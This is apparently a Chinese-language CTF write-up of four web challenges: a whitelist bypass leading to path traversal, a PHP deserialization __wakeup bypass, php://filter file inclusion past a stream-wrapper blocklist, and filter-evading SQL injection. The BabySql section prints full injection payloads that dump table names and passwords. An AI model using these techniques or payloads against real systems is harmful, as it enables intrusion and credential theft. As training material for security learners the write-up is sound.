题目:WarmUp
访问后是一个笑脸,右击查看源代码发现source.php。

发现源代码如下
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
代码通过判断是否在白名单中来选择是否去包含相应文件。
所以这里我们可以欺骗程序将白名单中的文件当做目录然后用../跳到我们需要进行包含文件的目录下。
但是如果我们在浏览器直接输入hint.php/../../../../是无法去包含的。所以我们根据代码的这部分可以找到解决办法。
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
程序会对url进行一次解码然后再进行一次mb_strpos来进行判断,所以这个时候我们可以把?进行两次url编码。
最终拿到flag

题目:PHP
通过提示猜测存在备份文件,所以找到www.zip文件并下载,解压发现三个文件

class.php中发现如下代码
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
然后在index.php中发现下面的php代码
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
可以发现,程序反序列化我们提交的参数,通过判断username是否为admin来决定是否输出flag。
因为这里有个__wakeup所以需要绕过,并且成员变量属性为private属性所以属性名以及类名前面需要添加\0。
最终构造payload并获取flag

题目:include
访问页面发现一个连接

点击去发现连接可能存在文件包含

这里直接用php://filter来读取Index.php源码。源码如下
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
过滤了input、zip、phar、data,但是好像不影响filter。
所以直接用php://filter读取flag.php
获得flag

题目:BabySql
查看主页是一个登录框

尝试进行登录发现输入单引号会报错,所以判断存在注入。

输入order by发现去掉了or所以进行堆叠注入。
获取到数据库名为geek接下来获取表名:
username=admin' aandnd 1=2 uniunionon sselectelect 1,group_concat(table_name),3 frfromom infoorrmation_schema.tables whewherere table_schema='geek'%23&password=admin

获取字段名:
username=admin%27%20aandnd%201=2%20uniunionon%20sselectelect%201,group_concat(column_name),3%20frfromom%20infoorrmation_schema.columns%20whewherere%20table_schema=%27geek%27%20anandd%20table_name=%27b4bsql%27%23&password=admin

获取flag:
http://6160e266-9cca-4229-bea2-f3871c3ac51d.node3.buuoj.cn/check.php?username=admin%27%20aandnd%201=2%20uniunionon%20sselectelect%201,username,group_concat(passwoorrd)%20frfromom%20b4bsql%23&password=admin

请登录后发表评论
注册
社交帐号登录